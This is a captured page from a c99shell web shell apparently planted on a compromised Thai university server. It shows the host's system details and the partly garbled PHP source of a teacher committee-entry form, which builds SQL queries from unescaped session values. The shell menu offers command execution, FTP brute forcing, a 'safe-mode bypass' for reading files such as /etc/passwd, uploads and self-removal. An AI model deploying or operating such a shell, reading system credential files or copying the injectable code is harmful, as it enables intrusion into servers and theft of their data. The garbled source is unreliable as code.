!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher/   drwxr-xr-x
Free 52.65 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddCommittee.php (12.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
  
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">

<style type="text/css">
<!--
.style1 {font-size: 14px}
.style2 {
    font-size: 14px;
    font-family: Tahoma;
}
.style3 {font-size: 14}
.style4 {font-size: 16px}
.style5 {font-family: Tahoma}
-->
</style>
<table width="801" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="825"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php?Teacher_code=<? echo $rs[Teacher_code?> " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="CommitteeMe.php?Teacher_code=<? echo $rs[Teacher_code?>">ข้อมูลการเป็นกรรมการวิชาการ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="FrmEditCommittList.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลการเป็นกรรมการวิชาการ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลการเป็นกรรมการวิชาการ</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertCommit.php">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="92%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="29" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  
                  <tr>
                    <td height="43" ><table width="97%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
                      <tr bgcolor="#DFEBF9">
                        <td height="24" colspan="3" bgcolor="#FFFFFF"><div align="center"><font color="#000000" face="Tahoma"><span class="style18 style4">เพิ่มประวัติการเป็นกรรมการ</span></font> <font size="2" face="Tahoma">อ.<font color="#993333"><strong><? echo $rs['Teacher_name'?> &nbsp;</strong></font><font size="2" face="Tahoma"><font color="#993333"><strong><? echo $rs['Teacher_lastname'?></strong></font></font><font color="#993333"><strong></strong></font></font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="25%" height="26" bgcolor="#FFFFFF" class="style19"><div align="center" class="style19 style5 style1">ชื่อ-นามสกุล</div></td>
                        <td width="1%" bgcolor="#FFFFFF" class="style19 style5 style1">&nbsp;</td>
                        <td width="74%" bgcolor="#FFFFFF" class="style19"><span class="style19 style5 style1">&nbsp;<font color="#006633"><font color="#003366"><strong>&nbsp;<? echo $rs[First_name] ;?></strong></font> <font color="#003366"><strong><? echo $rs[Teacher_name] ;?> &nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></font></span></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="26" bgcolor="#FFFFFF" class="style19"><div align="center" class="style19 style2 style1">เรื่อง</div></td>
                        <td bgcolor="#FFFFFF" class="style19"><span class="style2"><font color="#FF0000">*</font></span></td>
                        <td bgcolor="#FFFFFF" class="style19"><input name="Title" type="text" id="Title" size="70" />                        </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="26" bgcolor="#FFFFFF" class="style19"><div align="center" class="style19 style5 style1">ปี 
                        พ.ศ</div></td>
                        <td bgcolor="#FFFFFF" class="style19"><span class="style2"><font color="#FF0000">*</font></span></td>
                        <td bgcolor="#FFFFFF" class="style19"><input name="Year_com" type="text" id="Year_com" size="4" maxlength="4" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="26" bgcolor="#FFFFFF" class="style19"><div align="center" class="style19 style5 style1">แยกประเภทตาม 
                        สมศ. 5.2 </div></td>
                        <td bgcolor="#FFFFFF" class="style19 style3"><span class="style2"><font color="#FF0000">*</font></span></td>
                        <td bgcolor="#FFFFFF" class="style19"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF">
                            <tr>
                              <td width="25%" height="16" bgcolor="#FFFFFF" class="style19 style5 style1"><div align="left">กรรมการวิชาการ</div></td>
                              <td width="75%" bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Edu" value="Yes" />
                                เป็น
                                <input type="radio" name="Edu" value="No" checked />
                                ไม่ได้เป็น
                                <input type="radio" name="Edu" value="S" />                                ลาศึกษาต่อ/ไปช่วยราชการ </td>
                            </tr>
                            <tr>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1"><div align="left">กรรมการวิชาชีพ</div></td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Edu_job" value="Yes" />
                                เป็น
                                <input type="radio" name="Edu_job" value="No" checked />
                                ไม่ได้เป็น
                                <input type="radio" name="Edu_job" value="S" />                                ลาศึกษาต่อ/ไปช่วยราชการ </td>
                            </tr>
                            <tr>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1"><div align="left">กรรมการวิทยานิพนธ์</div></td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Tsis" value="Yes" />
                                เป็น                                
                                <input type="radio" name="Tsis" value="No" checked />
                                ไม่ได้เป็น
                                <input type="radio" name="Tsis" value="S" />                                ลาศึกษาต่อ/ไปช่วยราชการ </td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="46" bgcolor="#FFFFFF" class="style19"><div align="center" class="style19 style5 style1">แยกประเภทตามการเป็นกรรมการ ให้บริการวิชาการอื่นฯ<br />
                        </div></td>
                        <td bgcolor="#FFFFFF" class="style19"><span class="style2"><font color="#FF0000">*</font></span></td>
                        <td bgcolor="#FFFFFF" class="style19"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF">
                            <tr>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">ตรวจเครื่องมือ</td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Check_tool" value="Yes" />
                                เป็น                                
                                <input type="radio" name="Check_tool" value="No" checked />
                                ไม่ได้เป็น                                
                                <input type="radio" name="Check_tool" value="S" />                                ลาศึกษาต่อ/ไปช่วยราชการ </td>
                            </tr>
                            <tr>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">คปสข.10</td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Scp10" value="Yes" />
                                เป็น
                                <input type="radio" name="Scp10" value="No" checked />
                                ไม่ได้เป็น                                
                                <input type="radio" name="Scp10" value="S" />                                ลาศึกษาต่อ/ไปช่วยราชการ </td>
                            </tr>
                            <tr>
                              <td width="25%" bgcolor="#FFFFFF" class="style19 style5 style1"><div align="left">เครือข่ายภาคกลาง</div></td>
                              <td width="75%" bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Club_bcnlp" value="Yes" />
                                เป็น
                                <input type="radio" name="Club_bcnlp" value="No" checked />
                                ไม่ได้เป็น                                
                                <input type="radio" name="Club_bcnlp" value="S" />
                                ลาศึกษาต่อ/ไปช่วยราชการ พ.ศ 
                              <input name="year" type="text" id="year" size="5" maxlength="4" />                              </td>
                            </tr>
                            <tr>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">การเป็นวิทยากร</td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="North_network" value="Yes" />
                                เป็น
                                <input type="radio" name="North_network" value="No" checked />
                                ไม่ได้เป็น /จำนวนชั่วโมง 
                                <input name="Houn" type="text" id="Houn" size="3" maxlength="4" /></td>
                            </tr>
                            
                            <tr>
                              <td height="22" bgcolor="#FFFFFF" class="style19 style5 style1"><div align="left">การเป็นกรรมการ 
                                อื่นๆ</div></td>
                              <td bgcolor="#FFFFFF" class="style19 style5 style1">
                                <input type="radio" name="Else_commit" value="Yes" />
                                เป็น
                                <input type="radio" name="Else_commit" value="No" checked />                                ไม่ได้เป็น /  เรื่อง: 
                                <input name="year2" type="text" id="year2" size="30" /></td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="#DFEBF9">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center" class="style2">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                            <input type="submit" name="Submit" value=" บันทึก " class="button" />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit2" value="เริ่มใหม่" class="button" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              <p>&nbsp;</p>
            </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0076 ]--